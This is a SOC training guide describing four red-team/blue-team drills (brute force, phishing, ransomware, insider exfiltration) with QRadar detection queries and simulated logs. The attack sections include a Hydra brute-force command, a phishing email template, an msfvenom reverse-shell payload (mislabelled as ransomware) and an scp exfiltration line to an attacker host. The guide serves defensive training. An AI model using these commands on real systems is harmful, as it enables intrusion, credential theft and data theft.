SECURITY OPERATION CENTRE (SOC) DRILLS (BLUE TEAM & RED TEAM)

BY IZZMIER IZZUDDIN

Drill Details

Roles and Responsibilities:

1. **Red Team (Attackers)**
   - **Role:** Simulate the attack.
   - **Responsibilities:**
     - Execute the attack scenario.
     - Document each step for learning purposes.
2. **Blue Team (Defenders)**
   - **Role:** Detect, analyse, and respond to the attack.
   - **Responsibilities:**
     - Monitor logs and alerts.
     - Identify and analyse the attack.
     - Implement mitigation strategies.
     - Document actions taken during the response.
3. **Drill Coordinator**
   - **Role:** Oversee the drill, ensure smooth execution, and facilitate the debrief.
   - **Responsibilities:**
     - Brief participants on the rules and objectives.
     - Ensure communication between Red & Blue teams is restricted to prevent information leakage.
     - Conduct the debriefing session.
     - Manage the drill timeline.
4. **Observer(s)**
   - **Role:** Monitor the drill for evaluation purposes.
   - **Responsibilities:**
     - Record observations without interfering.
     - Provide feedback during the debrief.

Phases of the Drill:

1. **Preparation Phase (30 minutes)**
   - Brief participants on the rules and objectives.
   - Ensure all teams understand the communication protocols.
2. **Attack Simulation (2 hours)**
   - Begin the attack simulation.
   - Monitor the Red Team as they perform the attack.
   - The Blue Team should detect and respond to the attack in real-time.
3. **Data Reconnaissance (1 hour)**
   - Simulate data reconnaissance.
   - The Blue Team continues to respond to the unfolding scenario.
4. **Extraction Phase (1 hour)**
   - Simulate the extraction of data by the Red Team.
   - The Blue Team implements mitigation strategies.
5. **Debriefing Session (1 hour)**

- Conduct a thorough review of the drill.
- Discuss the effectiveness of the detection, response, and mitigation strategies.
- Identify areas for improvement.

Exercise 1: Attack and Defence (Brute Force Attack)

Objective: The goal is to practice a simulated cyber-attack where attackers attempt to break into accounts using stolen login details and extract data. This exercise aims to enhance the cybersecurity team's ability to identify, respond to, and prevent such attacks.

Roles and Responsibilities:

1. **Red Team (Attackers)**
    - **Role:** Simulate the attack using credential stuffing and automated scripts.
    - **Responsibilities:**
        - Execute the attack scenario.
        - Document each step for learning purposes.
2. **Blue Team (Defenders)**
    - **Role:** Detect, analyse, and respond to the attack.
    - **Responsibilities:**
        - Monitor logs and alerts.
        - Identify and analyse the attack.
        - Implement mitigation strategies.
        - Document actions taken during the response.
3. **Drill Coordinator**
    - **Role:** Oversee the drill, ensure smooth execution, and facilitate the debrief.
    - **Responsibilities:**
        - Brief participants on the rules and objectives.
        - Ensure communication between Red & Blue teams is restricted to prevent information leakage.
        - Conduct the debriefing session.
        - Manage the drill timeline.
4. **Observer(s)**
    - **Role:** Monitor the drill for evaluation purposes.
    - **Responsibilities:**
        - Record observations without interfering.
        - Provide feedback during the debrief.

Phases of the Drill:

1. **Preparation Phase (30 minutes)**
    - Brief participants on the rules and objectives.
    - Ensure all teams understand the communication protocols.
2. **Attack Simulation (2 hours)**
    - Begin the brute force attack simulation.
    - Monitor the Red Team as they attempt to crack passwords using trial and error.
    - The Blue Team should detect and respond to the attack in real-time.

3. **Data Reconnaissance (1 hour)**
   - Simulate data reconnaissance activities once access is gained.
   - The Blue Team continues to respond to the unfolding scenario.
4. **Extraction Phase (1 hour)**
   - Simulate the extraction of data by the Red Team.
   - The Blue Team implements mitigation strategies.
5. **Debriefing Session (1 hour)**
   - Conduct a thorough review of the drill.
   - Discuss the effectiveness of the detection, response, and mitigation strategies.
   - Identify areas for improvement.

Attack:

1. **Preparation Phase (Red Team)**
   - Gather information using tools like nmap and Hydra.
   - Commands:

```
nmap 192.168.1.100 --top-ports 1000
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form
"/login_up.php:username=^USER^&password=^PASS^:F=invalid" -V
```

2. **Execution Phase (Red Team)**
   - Use Hydra for credential stuffing.
   - Use Curl for automated navigation post-login.
   - Commands:

```
curl -X POST -d "username=admin&password=password123"
https://192.168.1.100:8443/login_up.php -c cookies.txt
curl -b cookies.txt https://192.168.1.100:8443/
curl -b cookies.txt https://192.168.1.100:8443/smb/
curl -b cookies.txt https://192.168.1.100:8443/smb/web/view
```

Defence:

1. **Detection Phase (Blue Team)**
   - **Tool:** QRadar SIEM
   - **Steps:**
     - Monitor QRadar for unusual login attempts and rapid navigation.
     - Set up alerts for multiple failed login attempts from a single IP.
   - **QRadar Query:**

```
SELECT UTF8(payload) as LogEntry, QIDNAME(qid) as EventName,
sourceip, destinationip, username
FROM events
WHERE QIDNAME(qid) IN ('Failed Login Attempt', 'Successful Login')
AND sourceip = '192.168.1.150'
```

2. **Analysis Phase (Blue Team)**
    - **Steps:**
        - Analyse logs in QRadar to identify the pattern of the attack.
        - Correlate events to determine the source and nature of the attack.
3. **Response Phase (Blue Team)**
    - **Immediate Actions:**
        - Block the attacking IP using network security controls.
        - Force a password reset for the affected user account.
    - **Follow-up Actions:**
        - Review and analyse affected systems for any signs of data exfiltration.
        - Implement additional security measures like MFA and rate limiting.

Logs from QRadar during the Drill:

1. **Unusual Login Attempts:**

```
Time: 2024-06-22T10:15:23Z
LogEntry: Failed login attempt for user 'admin' from IP 192.168.1.150.
EventName: Failed Login Attempt
SourceIP: 192.168.1.150
DestinationIP: 192.168.1.100
```

2. **Successful Login and Navigation:**

```
Time: 2024-06-22T10:16:05Z
LogEntry: Successful login for user 'admin' from IP 192.168.1.150.
EventName: Successful Login
SourceIP: 192.168.1.150
DestinationIP: 192.168.1.100

Time: 2024-06-22T10:16:07Z
LogEntry: Rapid navigation detected for user 'admin' from IP 192.168.1.150.
EventName: Suspicious Activity
SourceIP: 192.168.1.150
DestinationIP: 192.168.1.100
```

Mitigation Actions Taken:

1. **Blocking IP:**

```
Time: 2024-06-22T10:16:20Z
LogEntry: IP 192.168.1.150 blocked due to suspicious activity.
EventName: Firewall Block
SourceIP: 192.168.1.150
```

2. **Password Reset:**

```
Time: 2024-06-22T10:16:25Z
LogEntry: Password reset initiated for user 'admin'.
EventName: Password Reset
Username: admin
```

Drill Summary

- **Red Team:**
  - Successfully executed the brute force attack.
  - Documented each step and the tools used.
- **Blue Team:**
  - Detected the attack promptly through QRadar alerts.
  - Responded by blocking the IP and resetting the password.
  - Implemented additional measures to prevent future attacks.

Overall Outcomes:

- The exercise highlighted the importance of real-time monitoring and prompt response.
- Identified areas for improvement in log analysis and incident response procedures.
- Plans to enhance security measures with multi-factor authentication and rate limiting.

Exercise 2: Attack and Defence (Phishing Attack)

Objective: The goal is to practice a simulated phishing attack where attackers attempt to gain access to sensitive information via deceptive emails. This exercise aims to enhance the cybersecurity team's ability to identify, respond to, and prevent such attacks.

Roles and Responsibilities:

1. **Red Team (Attackers)**
    - **Role:** Simulate the phishing attack using deceptive emails.
    - **Responsibilities:**
        - Execute the attack scenario.
        - Document each step for learning purposes.
2. **Blue Team (Defenders)**
    - **Role:** Detect, analyse, and respond to the attack.
    - **Responsibilities:**
        - Monitor logs and alerts.
        - Identify and analyse the attack.
        - Implement mitigation strategies.
        - Document actions taken during the response.
3. **Drill Coordinator**
    - **Role:** Oversee the drill, ensure smooth execution, and facilitate the debrief.
    - **Responsibilities:**
        - Brief participants on the rules and objectives.
        - Ensure communication between Red & Blue teams is restricted to prevent information leakage.
        - Conduct the debriefing session.
        - Manage the drill timeline.
4. **Observer(s)**
    - **Role:** Monitor the drill for evaluation purposes.
    - **Responsibilities:**
        - Record observations without interfering.
        - Provide feedback during the debrief.

Phases of the Drill:

1. **Preparation Phase (30 minutes)**
    - Brief participants on the rules and objectives.
    - Ensure all teams understand the communication protocols.
2. **Attack Simulation (2 hours)**
    - Begin the phishing attack simulation.
    - Monitor the Red Team as they send phishing emails and attempt to deceive users.
    - The Blue Team should detect and respond to the attack in real-time.
3. **Data Reconnaissance (1 hour)**

    - Simulate data reconnaissance activities if phishing is successful.
    - The Blue Team continues to respond to the unfolding scenario.
4. **Extraction Phase (1 hour)**
    - Simulate the extraction of data by the Red Team if access is gained.
    - The Blue Team implements mitigation strategies.
5. **Debriefing Session (1 hour)**
    - Conduct a thorough review of the drill.
    - Discuss the effectiveness of the detection, response, and mitigation strategies.
    - Identify areas for improvement.

Attack:

1. **Preparation Phase (Red Team)**
    - Craft phishing emails with deceptive links.
    - Email Content:

      Subject: Urgent: Password Reset Required
      Body: Dear User,
      We have detected unusual activity in your account. Please reset your password immediately by clicking the link below:
      [Reset Password](http://malicious-link.com)
      Regards,
      IT Support

2. **Execution Phase (Red Team)**
    - Send phishing emails to target users.
    - Track users who click on the link and enter their credentials.

Defence:

1. **Detection Phase (Blue Team)**
    - **Tool:** QRadar SIEM
    - **Steps:**
        - Monitor QRadar for emails with suspicious links and unusual login attempts.
        - Set up alerts for emails containing phishing indicators.
    - **QRadar Query:**

      ```
      SELECT UTF8(payload) as LogEntry, QIDNAME(qid) as EventName,
      sourceip, destinationip, username
      FROM events
      WHERE QIDNAME(qid) IN ('Email Containing Suspicious Link', 'Failed
      Login Attempt', 'Successful Login')
      AND (payload LIKE '%malicious-link.com%' OR payload LIKE '%Reset
      Password%')
      ```

2. **Analysis Phase (Blue Team)**
    - **Steps:**
        - Analyse logs in QRadar to identify phishing email patterns.
        - Correlate events to determine the impact of the phishing attack.
3. **Response Phase (Blue Team)**
    - **Immediate Actions:**
        - Quarantine the phishing emails.
        - Alert users to avoid clicking on the link and reset their passwords if they have done so.
    - **Follow-up Actions:**
        - Review and analyse affected accounts for any signs of unauthorized access.
        - Implement additional security measures like email filtering and user education.

Logs from QRadar during the Drill:

1. **Suspicious Email Detected:**

```
Time: 2024-06-22T11:00:23Z
LogEntry: Email containing suspicious link detected from user@example.com to
user2@example.com.
EventName: Email Containing Suspicious Link
SourceIP: 192.168.1.150
DestinationIP: 192.168.1.200
```

2. **Unusual Login Attempts:**

```
Time: 2024-06-22T11:05:05Z
LogEntry: Failed login attempt for user 'admin' from IP 192.168.1.150.
EventName: Failed Login Attempt
SourceIP: 192.168.1.150
DestinationIP: 192.168.1.100

Time: 2024-06-22T11:05:07Z
LogEntry: Successful login for user 'admin' from IP 192.168.1.150.
EventName: Successful Login
SourceIP: 192.168.1.150
DestinationIP: 192.168.1.100
```

Mitigation Actions Taken:

1. **Quarantine Emails:**

```
Time: 2024-06-22T11:06:20Z
LogEntry: Phishing emails quarantined.
EventName: Email Quarantine
```

SourceIP: 192.168.1.150

2. **Password Reset:**

   Time: 2024-06-22T11:06:25Z
   LogEntry: Password reset initiated for user 'admin'.
   EventName: Password Reset
   Username: admin

Drill Summary

- **Red Team:**
  - Successfully executed the phishing attack.
  - Documented each step and the tools used.
- **Blue Team:**
  - Detected the phishing attack promptly through QRadar alerts.
  - Responded by quarantining the emails and resetting affected passwords.
  - Implemented additional measures to prevent future attacks.

Overall Outcomes:

- The exercise highlighted the importance of real-time monitoring and prompt response.
- Identified areas for improvement in email filtering and user education.
- Plans to enhance security measures with advanced email filtering and continuous user training.

Exercise 3: Attack and Defence (Ransomware Attack)

Objective: The goal is to practice a simulated ransomware attack where attackers encrypt critical files and demand a ransom. This exercise aims to enhance the cybersecurity team's ability to identify, respond to, and prevent such attacks.

Roles and Responsibilities:

1. **Red Team (Attackers)**
    - **Role:** Simulate the ransomware attack using malware.
    - **Responsibilities:**
        - Execute the attack scenario.
        - Document each step for learning purposes.
2. **Blue Team (Defenders)**
    - **Role:** Detect, analyse, and respond to the attack.
    - **Responsibilities:**
        - Monitor logs and alerts.
        - Identify and analyse the attack.
        - Implement mitigation strategies.
        - Document actions taken during the response.
3. **Drill Coordinator**
    - **Role:** Oversee the drill, ensure smooth execution, and facilitate the debrief.
    - **Responsibilities:**
        - Brief participants on the rules and objectives.
        - Ensure communication between Red & Blue teams is restricted to prevent information leakage.
        - Conduct the debriefing session.
        - Manage the drill timeline.
4. **Observer(s)**
    - **Role:** Monitor the drill for evaluation purposes.
    - **Responsibilities:**
        - Record observations without interfering.
        - Provide feedback during the debrief.

Phases of the Drill:

1. **Preparation Phase (30 minutes)**
    - Brief participants on the rules and objectives.
    - Ensure all teams understand the communication protocols.
2. **Attack Simulation (2 hours)**
    - Begin the ransomware attack simulation.
    - Monitor the Red Team as they deploy the ransomware.
    - The Blue Team should detect and respond to the attack in real-time.
3. **Data Reconnaissance (1 hour)**
    - Simulate data reconnaissance activities once ransomware is deployed.
    - The Blue Team continues to respond to the unfolding scenario.

4. **Extraction Phase (1 hour)**
   - Simulate the extraction of encryption keys by the Red Team.
   - The Blue Team implements mitigation strategies.
5. **Debriefing Session (1 hour)**
   - Conduct a thorough review of the drill.
   - Discuss the effectiveness of the detection, response, and mitigation strategies.
   - Identify areas for improvement.

Attack:

1. **Preparation Phase (Red Team)**
   - Prepare ransomware payload using a known ransomware toolkit.
   - Command:

     ```
     msfvenom -p windows/x64/meterpreter/reverse_tcp
     LHOST=192.168.1.150 LPORT=4444 -f exe > ransomware.exe
     ```

2. **Execution Phase (Red Team)**
   - Deploy ransomware via phishing email or exploit.
   - Encrypt critical files on the target system.
   - Commands:

     ```
     ./ransomware.exe
     ```

Defence:

1. **Detection Phase (Blue Team)**
   - **Tool:** QRadar SIEM
   - **Steps:**
     - Monitor QRadar for unusual file modifications and new executable deployments.
     - Set up alerts for known ransomware behaviours.
   - **QRadar Query:**

     ```
     SELECT UTF8(payload) as LogEntry, QIDNAME(qid) as EventName,
     sourceip, destinationip, filename
     FROM events
     WHERE QIDNAME(qid) IN ('File Modification', 'Executable Deployment')
     AND (filename LIKE '%ransomware%' OR filename LIKE '%.exe%')
     ```

2. **Analysis Phase (Blue Team)**
   - **Steps:**
     - Analyse logs in QRadar to identify the ransomware activity.
     - Correlate events to determine the impact and spread of the ransomware.
3. **Response Phase (Blue Team)**
   - **Immediate Actions:**

        - Isolate affected systems from the network.
        - Notify users and IT staff about the ongoing ransomware attack.
    - **Follow-up Actions:**
        - Initiate data recovery from backups.
        - Conduct a thorough investigation to identify the attack vector.
        - Implement additional security measures like endpoint protection and user training.

Logs from QRadar during the Drill:

1. **Suspicious File Modification:**

   ```
   Time: 2024-06-22T12:00:23Z
   LogEntry: Suspicious file modification detected on server1.
   EventName: File Modification
   SourceIP: 192.168.1.150
   DestinationIP: 192.168.1.100
   Filename: C:\Users\admin\Documents\important.docx
   ```

2. **Executable Deployment Detected:**

   ```
   Time: 2024-06-22T12:05:05Z
   LogEntry: New executable file detected on server1.
   EventName: Executable Deployment
   SourceIP: 192.168.1.150
   DestinationIP: 192.168.1.100
   Filename: C:\Users\admin\Downloads\ransomware.exe
   ```

Mitigation Actions Taken:

1. **System Isolation:**

   ```
   Time: 2024-06-22T12:06:20Z
   LogEntry: Isolated server1 from the network.
   EventName: Network Isolation
   SourceIP: 192.168.1.150
   ```

2. **Data Recovery Initiated:**

   ```
   Time: 2024-06-22T12:06:25Z
   LogEntry: Data recovery process initiated for server1.
   EventName: Data Recovery
   ```

Drill Summary

- **Red Team:**
    - Successfully executed the ransomware attack.
    - Documented each step and the tools used.

- **Blue Team:**
    - Detected the ransomware attack promptly through QRadar alerts.
    - Responded by isolating the affected system and initiating data recovery.
    - Implemented additional measures to prevent future attacks.

Overall Outcomes:

- The exercise highlighted the importance of real-time monitoring and prompt response.
- Identified areas for improvement in network isolation and backup strategies.
- Plans to enhance security measures with advanced endpoint protection and continuous user training.

Exercise 4: Attack and Defence (Insider Threat)

Objective: The goal is to practice a simulated insider threat scenario where a malicious employee attempts to exfiltrate sensitive company data. This exercise aims to enhance the cybersecurity team's ability to identify, respond to, and prevent such internal threats.

Roles and Responsibilities:

1. **Red Team (Attackers)**
   - **Role:** Simulate the insider threat by exfiltrating sensitive data.
   - **Responsibilities:**
     - Execute the attack scenario.
     - Document each step for learning purposes.
2. **Blue Team (Defenders)**
   - **Role:** Detect, analyse, and respond to the insider threat.
   - **Responsibilities:**
     - Monitor logs and alerts.
     - Identify and analyse the threat.
     - Implement mitigation strategies.
     - Document actions taken during the response.
3. **Drill Coordinator**
   - **Role:** Oversee the drill, ensure smooth execution, and facilitate the debrief.
   - **Responsibilities:**
     - Brief participants on the rules and objectives.
     - Ensure communication between Red & Blue teams is restricted to prevent information leakage.
     - Conduct the debriefing session.
     - Manage the drill timeline.
4. **Observer(s)**
   - **Role:** Monitor the drill for evaluation purposes.
   - **Responsibilities:**
     - Record observations without interfering.
     - Provide feedback during the debrief.

Phases of the Drill:

1. **Preparation Phase (30 minutes)**
   - Brief participants on the rules and objectives.
   - Ensure all teams understand the communication protocols.
2. **Attack Simulation (2 hours)**
   - Begin the insider threat simulation.
   - Monitor the Red Team as they attempt to exfiltrate data.
   - The Blue Team should detect and respond to the threat in real-time.
3. **Data Reconnaissance (1 hour)**
   - Simulate data reconnaissance activities by the insider.

    - The Blue Team continues to respond to the unfolding scenario.
4. **Exfiltration Phase (1 hour)**
    - Simulate the data exfiltration process by the insider.
    - The Blue Team implements mitigation strategies.
5. **Debriefing Session (1 hour)**
    - Conduct a thorough review of the drill.
    - Discuss the effectiveness of the detection, response, and mitigation strategies.
    - Identify areas for improvement.

Attack:

1. **Preparation Phase (Red Team)**
    - Gain access to sensitive data using legitimate credentials.
    - Command:

      ```
      scp /path/to/sensitive_data.txt attacker@external_host:/stolen_data/
      ```

2. **Execution Phase (Red Team)**
    - Exfiltrate sensitive data via secure copy (SCP) or another method.
    - Attempt to avoid detection by using obfuscation techniques.

Defence:

1. **Detection Phase (Blue Team)**
    - **Tool:** QRadar SIEM
    - **Steps:**
        - Monitor QRadar for unusual file access and data transfer activities.
        - Set up alerts for large data transfers or access to sensitive files by unauthorized users.
    - **QRadar Query:**

      ```
      SELECT UTF8(payload) as LogEntry, QIDNAME(qid) as EventName,
      sourceip, destinationip, username, bytes
      FROM events
      WHERE QIDNAME(qid) IN ('Data Transfer', 'File Access')
      AND bytes > 1000000  -- Example threshold for large data transfers
      AND (username != 'authorized_user' OR destinationip NOT LIKE
      'internal_network%')
      ```

2. **Analysis Phase (Blue Team)**
    - **Steps:**
        - Analyse logs in QRadar to identify unusual data access patterns.
        - Correlate events to determine the scope of the insider threat.
3. **Response Phase (Blue Team)**
    - **Immediate Actions:**

        - Isolate the compromised account.
        - Notify the security team and IT staff about the ongoing threat.
    - **Follow-up Actions:**
        - Conduct a thorough investigation to determine the extent of the data exfiltration.
        - Implement additional security measures like enhanced access controls and user monitoring.

Logs from QRadar during the Drill:

1. **Unusual File Access Detected:**

   ```
   Time: 2024-06-22T14:00:23Z
   LogEntry: Unusual file access detected on server2 by user 'employee1'.
   EventName: File Access
   SourceIP: 192.168.2.150
   DestinationIP: 192.168.2.200
   Username: employee1
   Filename: /path/to/sensitive_data.txt
   ```

2. **Large Data Transfer Detected:**

   ```
   Time: 2024-06-22T14:05:05Z
   LogEntry: Large data transfer detected from server2 to external IP.
   EventName: Data Transfer
   SourceIP: 192.168.2.150
   DestinationIP: 203.0.113.50
   Bytes: 2500000
   ```

Mitigation Actions Taken:

1. **Account Isolation:**

   ```
   Time: 2024-06-22T14:06:20Z
   LogEntry: Isolated account 'employee1' due to suspicious activity.
   EventName: Account Isolation
   Username: employee1
   ```

2. **Investigation Initiated:**

   ```
   Time: 2024-06-22T14:06:25Z
   LogEntry: Initiated investigation into data exfiltration incident.
   EventName: Incident Investigation
   ```

Drill Summary

- **Red Team:**
    - Successfully executed the insider threat simulation.

    - Documented each step and the tools used.
- **Blue Team:**
    - Detected the insider threat promptly through QRadar alerts.
    - Responded by isolating the compromised account and initiating an investigation.
    - Implemented additional measures to prevent future incidents.

Overall Outcomes:

- The exercise highlighted the importance of real-time monitoring and prompt response.
- Identified areas for improvement in access controls and user activity monitoring.
- Plans to enhance security measures with advanced user behaviour analytics and continuous training.